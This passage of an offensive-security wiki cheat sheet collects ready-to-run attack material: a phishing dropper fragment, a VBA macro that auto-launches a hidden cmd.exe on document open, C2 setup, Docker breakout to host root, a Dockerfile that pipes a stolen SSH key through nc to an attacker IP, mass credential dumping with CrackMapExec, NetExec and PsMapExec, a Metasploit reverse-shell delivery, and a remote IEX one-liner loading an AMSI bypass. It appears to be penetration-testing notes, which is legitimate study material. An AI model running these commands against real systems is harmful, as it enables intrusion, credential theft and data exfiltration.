			window.URL.revokeObjectURL(url);&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image.png|thumb|When the victim clicks a link in our phishing mail it will automatically download the dropper file onto the victim machine.]]&lt;br /&gt;
&lt;br /&gt;
=== Microsoft Office Macro Client-side Attack ===&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?page_id=1809#Microsoft_Word&lt;br /&gt;
&lt;br /&gt;
==== Visual Basic for Applications  [VBA] ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
&#039;VBA Datatype&lt;br /&gt;
&#039;Dim is used to declare variables&lt;br /&gt;
Dim myString As String # Unicode&lt;br /&gt;
Dim myLong As Long # 64-bit integer&lt;br /&gt;
Dim myPointer As LongPtr # Memory pointer&lt;br /&gt;
&#039;Example - if and else statement&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
Dim myLong As Long&lt;br /&gt;
myLong = 1&lt;br /&gt;
If myLong &amp;lt; 5 Then&lt;br /&gt;
   MsgBox (&amp;quot;True&amp;quot;)&lt;br /&gt;
Else&lt;br /&gt;
   MsgBox (&amp;quot;False&amp;quot;)&lt;br /&gt;
End If&lt;br /&gt;
End Sub&lt;br /&gt;
&lt;br /&gt;
&#039;Example - Launch cmd.exe with a hidden window&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
   Dim str As String&lt;br /&gt;
   str = &amp;quot;cmd.exe&amp;quot;&lt;br /&gt;
   Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
&#039;The picture below show the cmd.exe running as a child process of winword.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Certificate Types ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Extension&lt;br /&gt;
! Full Name&lt;br /&gt;
! Contains&lt;br /&gt;
! Format&lt;br /&gt;
! Common Use&lt;br /&gt;
! Use Case&lt;br /&gt;
! Real-World Example&lt;br /&gt;
|-&lt;br /&gt;
| .cer&lt;br /&gt;
| Certificate&lt;br /&gt;
| Public key&lt;br /&gt;
| Usually in DER or PEM&lt;br /&gt;
| Sharing or installing public keys&lt;br /&gt;
| Installing trusted root or intermediate certificates on a system or server to verify SSL/TLS certificates&lt;br /&gt;
| Adding a trusted certificate in Windows to access a secure corporate intranet site&lt;br /&gt;
|-&lt;br /&gt;
| .pem&lt;br /&gt;
| Privacy Enhanced Mail&lt;br /&gt;
| Certificates and/or private keys&lt;br /&gt;
| Base64 encoded text (PEM)&lt;br /&gt;
| SSL certificates and private keys, commonly used in web servers&lt;br /&gt;
| Configuring SSL/TLS for web servers like Apache or Nginx by providing both the certificate and private key&lt;br /&gt;
| Configuring SSL/TLS for an Nginx web server for your website by specifying .pem files for SSL security&lt;br /&gt;
|-&lt;br /&gt;
| .crt&lt;br /&gt;
| Certificate&lt;br /&gt;
| Public key&lt;br /&gt;
| Usually in PEM or DER&lt;br /&gt;
| Similar to .cer, used for certificates in web servers&lt;br /&gt;
| Installing SSL/TLS certificates on websites to secure connections (often paired with .key files)&lt;br /&gt;
| Installing an SSL/TLS certificate from Let&#039;s Encrypt (.crt) to secure your website and enable HTTPS&lt;br /&gt;
|-&lt;br /&gt;
| .pfx&lt;br /&gt;
| Personal Information Exchange&lt;br /&gt;
| Private key and certificate (often password-protected)&lt;br /&gt;
| Binary (PFX)&lt;br /&gt;
| Bundling a private key with a certificate, used for importing/exporting certificates&lt;br /&gt;
| Importing a certificate with a private key into Windows servers or applications, such as IIS or to share with others in a secure manner&lt;br /&gt;
| Importing a .pfx file into Microsoft IIS to enable secure HTTPS for a web server hosting an internal application or signing an executable file&lt;br /&gt;
|-&lt;br /&gt;
| .key&lt;br /&gt;
| Private Key File&lt;br /&gt;
| Private key&lt;br /&gt;
| Text (usually PEM)&lt;br /&gt;
| Storing private keys for SSL certificates, often paired with .crt files&lt;br /&gt;
| Configuring SSL/TLS for web servers like Apache or Nginx by providing the private key for the SSL certificate&lt;br /&gt;
| Using a .key file along with a .crt file to configure HTTPS for a website&lt;br /&gt;
|-&lt;br /&gt;
| .der&lt;br /&gt;
| Distinguished Encoding Rules&lt;br /&gt;
| Certificate or private key in binary&lt;br /&gt;
| Binary (DER)&lt;br /&gt;
| Storing certificates or private keys in binary format&lt;br /&gt;
| Used in environments where certificates or keys need to be in a compact, binary format&lt;br /&gt;
| Using a .der file to import a certificate in Windows or Java environments&lt;br /&gt;
|-&lt;br /&gt;
| .csr&lt;br /&gt;
| Certificate Signing Request&lt;br /&gt;
| Information about an entity requesting a certificate&lt;br /&gt;
| Text (usually PEM)&lt;br /&gt;
| Requesting an SSL/TLS certificate from a Certificate Authority (CA)&lt;br /&gt;
| Generating a .csr to request an SSL/TLS certificate from a CA like Let&#039;s Encrypt&lt;br /&gt;
| Creating a .csr file to obtain an SSL certificate for your website&lt;br /&gt;
|-&lt;br /&gt;
| .p7b or .p7c&lt;br /&gt;
| PKCS#7 Certificate File&lt;br /&gt;
| Certificates in chain (no private key)&lt;br /&gt;
| Base64 or Binary&lt;br /&gt;
| Sharing a certificate chain&lt;br /&gt;
| Importing a full certificate chain in environments like Java keystores&lt;br /&gt;
| Using a .p7b file to import a complete certificate chain into a Java KeyStore for a Tomcat server&lt;br /&gt;
|-&lt;br /&gt;
| .jks&lt;br /&gt;
| Java KeyStore&lt;br /&gt;
| Private keys and certificates&lt;br /&gt;
| Binary (JKS)&lt;br /&gt;
| Storing certificates and private keys in Java environments&lt;br /&gt;
| Storing certificates and keys for Java-based applications like Tomcat&lt;br /&gt;
| Using a .jks file to configure SSL/TLS in a Java application server like Tomcat&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Command and control - C2 framework ==&lt;br /&gt;
&lt;br /&gt;
=== Covenant ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/cobbr/Covenant&lt;br /&gt;
# Installation and running&lt;br /&gt;
git clone --recurse-submodules https://github.com/cobbr/Covenant&lt;br /&gt;
# Be sure to install the dotnet core version 3.1 SDK!&lt;br /&gt;
# Build and run convenant&lt;br /&gt;
$ ~ &amp;gt; git clone --recurse-submodules https://github.com/cobbr/Covenant&lt;br /&gt;
$ ~ &amp;gt; cd Covenant/Covenant&lt;br /&gt;
$ ~/Covenant/Covenant &amp;gt; dotnet run&lt;br /&gt;
warn: Microsoft.EntityFrameworkCore.Model.Validation[10400]&lt;br /&gt;
      Sensitive data logging is enabled. Log entries and exception messages may include sensitive application data, this mode should only be enabled during development.&lt;br /&gt;
WARNING: Running Covenant non-elevated. You may not have permission to start Listeners on low-numbered ports. Consider running Covenant elevated.&lt;br /&gt;
Covenant has started! Navigate to https://127.0.0.1:7443 in a browser&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell-empire (And starkiller) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/EmpireProject/Empire&lt;br /&gt;
# Installation and running&lt;br /&gt;
sudo ./setup/install.sh&lt;br /&gt;
# Or&lt;br /&gt;
sudo apt install powershell-empire&lt;br /&gt;
# Starkiller&lt;br /&gt;
# https://github.com/BC-SECURITY/Starkiller&lt;br /&gt;
# Starkiller is a Frontend for Powershell Empire.&lt;br /&gt;
# Change the permissions&lt;br /&gt;
chmod a+x starkiller-.AppImage&lt;br /&gt;
# Then execute&lt;br /&gt;
./starkiller-.AppImage --no-sandbox&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Log location&lt;br /&gt;
~/.msf4/logs/framework.log&lt;br /&gt;
# DBMS used is postgresql.&lt;br /&gt;
# If IOError, check logs. If Postgresql, check the postgresql logs at:&lt;br /&gt;
/var/log/postgresql/...&lt;br /&gt;
# Initialize db&lt;br /&gt;
msfdb init # only if needed&lt;br /&gt;
# Metasploit location&lt;br /&gt;
/opt/metasploit-framework/embedded/framework/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Compiling exploits ==&lt;br /&gt;
&lt;br /&gt;
=== Compile .asm to elf ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nasm -f elf64 thm.asm&lt;br /&gt;
ld thm.o -o thm&lt;br /&gt;
./thm&lt;br /&gt;
THM,Rocks!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .cpp to .exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
i686-w64-mingw32-g++ -o test.exe challenge-8.cpp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .cs to .exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Using csc&lt;br /&gt;
csc payload.cs&lt;br /&gt;
# Using mono - https://www.mono-project.com/&lt;br /&gt;
mcs payload.cs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .c to .exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
## Create 32-bit Windows executable with:&lt;br /&gt;
i686-w64-mingw32-gcc -o main32.exe main.c&lt;br /&gt;
## Create 64-bit Windows executable with:&lt;br /&gt;
x86_64-w64-mingw32-gcc -o main64.exe main.c&lt;br /&gt;
# Flags:&lt;br /&gt;
-lwsock32 and -lws2_32&lt;br /&gt;
# The -lwsock32 and -lws2_32 flags are linker flags used in programming to include the Winsock libraries for network programming on Windows. -lwsock32 includes the older version of the library, while -lws2_32 includes the updated version with additional features and improvements. These flags ensure that the necessary networking functions are available to the application during the linking stage of compilation.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .c in linux using --static ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# The -static option links a program statically, in other words it does not require a dependency on dynamic libraries at runtime in order to run.&lt;br /&gt;
gcc 45010.c -o exploit --static&lt;br /&gt;
&lt;br /&gt;
gcc 45010.c -o exploit -z execstack&lt;br /&gt;
# -z execstack: This option instructs the compiler to mark the resulting executable as having an executable stack. An executable stack means that the program can execute code stored on the stack, which can be a security risk if not handled carefully. This option is often used for specific purposes, like creating loader programs or certain types of shellcode.&lt;br /&gt;
&lt;br /&gt;
-------------------------------&lt;br /&gt;
# If the above dont work, try this&lt;br /&gt;
gcc -o sh.elf sh.c -z execstack -static&lt;br /&gt;
upx --best --lzma -o shupx.elf ./sh.elf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .c to 32-bit windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc exploit.c -m32 -o exploit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Docker - Privile Escalation ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation]&lt;br /&gt;
&lt;br /&gt;
=== Shell ===&lt;br /&gt;
&lt;br /&gt;
This will create a docker image, that you can run and get a shell with&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create a docker file&lt;br /&gt;
FROM alpine:latest&lt;br /&gt;
ENV WORKIDR /privesc&lt;br /&gt;
RUN mkdir -p $WORKDIR&lt;br /&gt;
VOLUME [ $WORKDIR]&lt;br /&gt;
WORKDIR $WORKDIR&lt;br /&gt;
# Build the docker container&lt;br /&gt;
docker build -t imagename .&lt;br /&gt;
# Now run the image with /bin/bash. -it means interactive and terminal&lt;br /&gt;
docker run -v /:/mountdir -it imagename /bin/bash&lt;br /&gt;
root@machine#&lt;br /&gt;
-----------------------------------------------&lt;br /&gt;
#List images to use one&lt;br /&gt;
docker images&lt;br /&gt;
#Run the image mounting the host disk and chroot on it&lt;br /&gt;
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash&lt;br /&gt;
# Get full access to the host via ns pid and nsenter cli&lt;br /&gt;
docker run -it --rm --pid=host --privileged ubuntu bash&lt;br /&gt;
nsenter --target 1 --mount --uts --ipc --net --pid -- bash&lt;br /&gt;
# Get full privs in container without --privileged&lt;br /&gt;
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Exfiltrate data ===&lt;br /&gt;
&lt;br /&gt;
See notes for Deployer&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find if there is an docker image running. Then create a dockerfile. This wil copy id_rsa.bak to tmp, and then send it to our netcat listener on port 80&lt;br /&gt;
shanah@deployer:/opt$ cat dockerfile&lt;br /&gt;
FROM alpine&lt;br /&gt;
COPY id_rsa.bak /tmp/id_rsa.bak&lt;br /&gt;
RUN cat /tmp/id_rsa.bak | nc 192.168.49.153 80&lt;br /&gt;
# After running the below command, look at your netcat listener.&lt;br /&gt;
shanah@deployer:/opt$ sudo /usr/bin/docker build -t imagename .&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Exec-Tools ==&lt;br /&gt;
&lt;br /&gt;
=== CrackMapExec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://wiki.porchetta.industries/&lt;br /&gt;
# READ MORE IN THE LINK ABOVE!!!!&lt;br /&gt;
# SMB commands&lt;br /&gt;
# Obtaining creds&lt;br /&gt;
# Require Domain Admin or Local Admin&lt;br /&gt;
# Dump SAM&lt;br /&gt;
crackmapexec smb 192.168.1.0/24 -u UserNAme -p &#039;PASSWORDHERE&#039; --sam&lt;br /&gt;
## Dump LSA&lt;br /&gt;
crackmapexec  smb 192.168.1.0/24 -u UserNAme -p &#039;PASSWORDHERE&#039; --lsa&lt;br /&gt;
## Dump NTDS.dit&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds --users&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds --users --enabled&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds vss&lt;br /&gt;
## LPAS - If installed on the domain&lt;br /&gt;
crackmapexec smb  -u user-can-read-laps -p pass --laps&lt;br /&gt;
# LDAP&lt;br /&gt;
## Dump gMSA&lt;br /&gt;
crackmapexec ldap  -u  -p  --gmsa&lt;br /&gt;
## LAPS - If installed on the domain&lt;br /&gt;
crackmapexec ldap  -u user-can-read-laps -p pass -M laps&lt;br /&gt;
## Extract gMSA secrets&lt;br /&gt;
crackmapexec ldap  -u  -p  --gmsa-convert-id 313e25a880eb773502f03ad5021f49c2eb5b5be2a09f9883ae0d83308dbfa724&lt;br /&gt;
rackmapexec ldap  -u  -p  --gmsa-decrypt-lsa &#039;_SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_313e25a880eb773502f03ad5021f49c2eb5b5be2a09f9883ae0d83308dbfa724:01000000240200001000120114021c02fbb096d10991bb88c3f54e153807b4c1cc009d30bc3c50fd6f72c99a1e79f27bd0cbd4df69fdf08b5cf6fa7928cf6924cf55bfd8dd505b1da26ddf5695f5333dd07d08673029b01082e548e31f1ad16c67db0116c6ab0f8d2a0f6f36ff30b160b7c78502d5df93232f72d6397b44571d1939a2d18bb9c28a5a48266f52737c934669e038e22d3ba5a7ae63a608f3074c520201f372d740fddec77a8fed4ddfc5b63ce7c4643b60a8c4c739e0d0c7078dd0c2fcbc2849e561ea2de1af7a004b462b1ff62ab4d3db5945a6227a58ed24461a634b85f939eeed392cf3fe9359f28f3daa8cb74edb9eef7dd38f44ed99fa7df5d10ea1545994012850980a7b3becba0000d22d957218fb7297b216e2d7272a4901f65c93ee0dbc4891d4eba49dda5354b0f2c359f185e6bb943da9bcfbd2abda591299cf166c28cb36907d1ba1a8956004b5e872ef851810689cec9578baae261b45d29d99aef743f3d9dcfbc5f89172c9761c706ea3ef16f4b553db628010e627dd42e3717208da1a2902636d63dabf1526597d94307c6b70a5acaf4bb2a1bdab05e38eb2594018e3ffac0245fcdb6afc5a36a5f98f5910491e85669f45d02e230cb633a4e64368205ac6fc3b0ba62d516283623670b723f906c2b3d40027791ab2ae97a8c5c135aae85da54a970e77fb46087d0e2233d062dcd88f866c12160313f9e6884b510840e90f4c5ee5a032d40000f0650a4489170000f0073a9188170000&#039;&lt;br /&gt;
## List all PKI enrollment server&lt;br /&gt;
crackmapexec run ldap  -u user -p pass -M adcs&lt;br /&gt;
## Extract subnet&lt;br /&gt;
crackmapexec ldap  -u  -p  -M get-network&lt;br /&gt;
crackmapexec ldap  -u  -p  -M get-network -o ONLY_HOSTS=true&lt;br /&gt;
crackmapexec ldap  -u  -p  -M get-network -o ALL=true&lt;br /&gt;
# Username + Password + CMD command&lt;br /&gt;
crackmapexec mssql -d  -u  -p  -x &amp;quot;whoami&amp;quot;&lt;br /&gt;
# Username + Hash + PS command&lt;br /&gt;
crackmapexec mssql -d  -u  -H  -X &#039;$PSVersionTable&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== NetExec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/Pennyw0rth/NetExec&lt;br /&gt;
# This project was initially created in 2015 by @byt3bl33d3r, known as CrackMapExec. In 2019 @mpgn_x64 started maintaining the project for the next 4 years, adding a lot of great tools and features. In September 2023 he retired from maintaining the project.&lt;br /&gt;
# cheatsheet&lt;br /&gt;
https://www.netexec.wiki/&lt;br /&gt;
# General&lt;br /&gt;
netexec   -u username -p password&lt;br /&gt;
# Using modules&lt;br /&gt;
# List available modules&lt;br /&gt;
nxc smb -L&lt;br /&gt;
# View module options&lt;br /&gt;
nxc smb -M lsassy --options&lt;br /&gt;
# Using Kerberos&lt;br /&gt;
$ export KRB5CCNAME=/home/bonclay/impacket/administrator.ccache&lt;br /&gt;
$ nxc smb zoro.gold.local --use-kcache&lt;br /&gt;
$ export KRB5CCNAME=/home/bonclay/impacket/bonclay.ccache&lt;br /&gt;
$ sudo nxc smb zoro.gold.local --use-kcache -x whoami&lt;br /&gt;
# Send a local file to the remote target&lt;br /&gt;
nxc smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt&lt;br /&gt;
# Get a remote file on the remote target&lt;br /&gt;
nxc smb 172.16.251.152 -u user -p pass --get-file  \\Windows\\Temp\\whoami.txt /tmp/whoami.txt&lt;br /&gt;
# Read LAPS&lt;br /&gt;
nxc smb  -u user-can-read-laps -p pass --laps&lt;br /&gt;
# Impersonate logged on user&lt;br /&gt;
# 1. Enumerate logged-on users on your Target&lt;br /&gt;
nxc smb  -u  -p  --loggedon-users&lt;br /&gt;
# 2. Execute commands on behalf of other users&lt;br /&gt;
nxc smb  -u  -p  -M schtask_as -o USER= CMD=&lt;br /&gt;
# Find Domain SID&lt;br /&gt;
$ nxc ldap DC1.scrm.local -u sqlsvc -p Pegasus60 -k --get-sid&lt;br /&gt;
# Kerberoasting&lt;br /&gt;
nxc ldap 192.168.0.104 -u harry -p pass --kerberoasting output.txt&lt;br /&gt;
# Unconstrained delegation - retrieve the list of all computers and users with the flag TRUSTED_FOR_DELEGATION&lt;br /&gt;
nxc ldap 192.168.0.104 -u harry -p pass --trusted-for-delegation&lt;br /&gt;
# Dump gMSA&lt;br /&gt;
$ nxc ldap  -u  -p  --gmsa&lt;br /&gt;
# Bloodhound ingenstor&lt;br /&gt;
nxc ldap  -u user -p pass --bloodhound -ns  --collection All&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Meterpreter using Invoke-metasploitpayload.ps1 ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/Ethical-Hacking-Repos/Invoke-MetasploitPayload/blob/master/README.md&lt;br /&gt;
# https://www.netexec.wiki/smb-protocol/command-execution/getting-shells-101#meterpreter&lt;br /&gt;
# Meterpreter&lt;br /&gt;
# We can use the metinject module launch a meterpreter using Invoke-MetasploitPayload Invoke-MetasploitPayload.ps1 script.&lt;br /&gt;
# On your Metasploit instance, run the following commands&lt;br /&gt;
use exploit/multi/script/web_delivery&lt;br /&gt;
# The SRVHOST and SRVPORT variables are used for running the webserver to host the script&lt;br /&gt;
set SRVHOST 10.211.55&lt;br /&gt;
set SRVPORT 8443&lt;br /&gt;
# The target variable determines what type of script we&#039;re using. 2 is for PowerShell&lt;br /&gt;
set target 2&lt;br /&gt;
# Pick your payload. In this case, we&#039;ll use a reverse https meterpreter payload&lt;br /&gt;
set payload windows/meterpreter/reverse_https&lt;br /&gt;
set LHOST 10.211.55&lt;br /&gt;
set LPORT 443&lt;br /&gt;
# Run the exploit&lt;br /&gt;
run -j&lt;br /&gt;
# Once run, the web_delivery module will spin up the webserver to host the script and reverse listener for our meterpreter session.&lt;br /&gt;
msf exploit(web_delivery) &amp;gt; run -j&lt;br /&gt;
[*] Exploit running as background job.&lt;br /&gt;
[*] Started HTTPS reverse handler on https://10.211.55.4:8443/&lt;br /&gt;
[*] Using URL: http://10.211.55.4:8080/eYEssEwv2D&lt;br /&gt;
[*] Local IP: http://10.211.55.4:8080/eYEssEwv2D&lt;br /&gt;
[*] Server started.&lt;br /&gt;
# Then just run the met_inject module and specify the LHOST and LPORT values:&lt;br /&gt;
~ NetExec 192.168.10.0/24 -u username -p password -M met_inject -o SRVHOST=192.168.10.3 SRVPORT=8443 RAND=eYEssEwv2D SSL=http&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PsMapExec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Cheathseet&lt;br /&gt;
https://viperone.gitbook.io/pentest-everything/psmapexec&lt;br /&gt;
https://github.com/The-Viper-One/PsMapExec&lt;br /&gt;
# A PowerShell tool heavily inspired by the popular tool CrackMapExec. Far too often I find myself on engagements without access to Linux in order to make use of CrackMapExec.&lt;br /&gt;
# PsMapExec is used as a post-exploitation tool to assess and compromise an Active Directory environment.&lt;br /&gt;
# Load directly into memory and attempt to bypass AV&lt;br /&gt;
# Invoke-NETMongoose.ps1 is an AMSI bypass&lt;br /&gt;
IEX(New-Object System.Net.WebClient).DownloadString(&amp;quot;https://raw.githubusercontent.com/The-Viper-One/PME-Scripts/main/Invoke-NETMongoose.ps1&amp;quot;);IEX(New-Object System.Net.WebClient).DownloadString(&amp;quot;https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# PsMapExec has some dependencies that need to be pulled from outside the script itself in order to function.&lt;br /&gt;
## Primarily these are:&lt;br /&gt;
### Kirby (PowerShell based Kerberos ticket dump)&lt;br /&gt;
### Invoke-Pandemonium (Slightly modified Mimikatz)&lt;br /&gt;
&lt;br /&gt;
# Examples&lt;br /&gt;
# Execute WMI commands over all systems in the domain using password authentication&lt;br /&gt;
PsMapExec -Username Admin -Password Pass -Targets All -Method WMI -Command &amp;quot;net user&amp;quot;&lt;br /&gt;
# Execute WinRM commands over all systems in the domain using hash authentication&lt;br /&gt;
PsMapExec -Username Admin -Hash [Hash] -Targets All -Method WinRM -Command &amp;quot;net user&amp;quot;&lt;br /&gt;
# Check RDP Access against workstations in the domain&lt;br /&gt;
PsMapExec -Username Admin -Password Pass -Targets Workstations -Method RDP&lt;br /&gt;
# Dump SAM on all servers in the domain using SMB&lt;br /&gt;
PsMapExec -Username [User] -Hash [Hash] -Targets Servers -Method SMB -Module SAM&lt;br /&gt;
# Check SMB Signing on all domain systems&lt;br /&gt;
PsMapExec -Targets All -Method GenRelayList&lt;br /&gt;
# Dump LogonPasswords on all Domain Controllers over SMB&lt;br /&gt;
PsMapExec -Username Admin -Password Pass -Targets DCs -Method SMB -Module LogonPasswords&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== GIT ==&lt;br /&gt;
&lt;br /&gt;
See PG Hunit writeup&lt;br /&gt;
&lt;br /&gt;
=== Download .git ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir&lt;br /&gt;
./gitdumper.sh /.git/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Extract .git content ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir&lt;br /&gt;
./extractor.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== GIT basic commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Stage the file for commit to your local repository by the following command. -A means add changes from all tracked and untracked files&lt;br /&gt;
git add -A&lt;br /&gt;
# Configure who you are in order to commit&lt;br /&gt;
git config --global user.email &amp;quot;you@example.com&amp;quot;&lt;br /&gt;
git config --global user.name &amp;quot;Your Name&amp;quot;&lt;br /&gt;
# The git commit command **captures a snapshot of the project&#039;s currently staged changes**.&lt;br /&gt;
git commit -m &amp;quot;This is a message&amp;quot;&lt;br /&gt;
#  Push your changes to the remote server. &amp;quot;master&amp;quot; refers to master branch in your repository.&lt;br /&gt;
git push origin master&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===  ===&lt;br /&gt;
&lt;br /&gt;
=== GIT_SSH_COMMAND ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# GIT_SSH_COMMAND&lt;br /&gt;
# If either of these environment variables is set then _git fetch_ and _git push_ will use the specified command instead of _ssh_ when they need to connect to a remote system.&lt;br /&gt;
# Below command will SSH to user git at 192.168.243.124 and clone the repo from /git-server&lt;br /&gt;
GIT_SSH_COMMAND=&#039;ssh -i id_rsa -p 43022&#039; git clone git@192.168.243.125:/git-server&lt;br /&gt;
# This command wil SSH to user git and push the changes to the remote server.&lt;br /&gt;
GIT_SSH_COMMAND=&#039;ssh -i id_rsa -p 43022&#039; git push origin master&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== GitLeaks - Scan repos for secrets ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/zricethezav/gitleaks&lt;br /&gt;
gitleaks detect --source . -v&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Google Dorking ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://dorksearch.com/&lt;br /&gt;
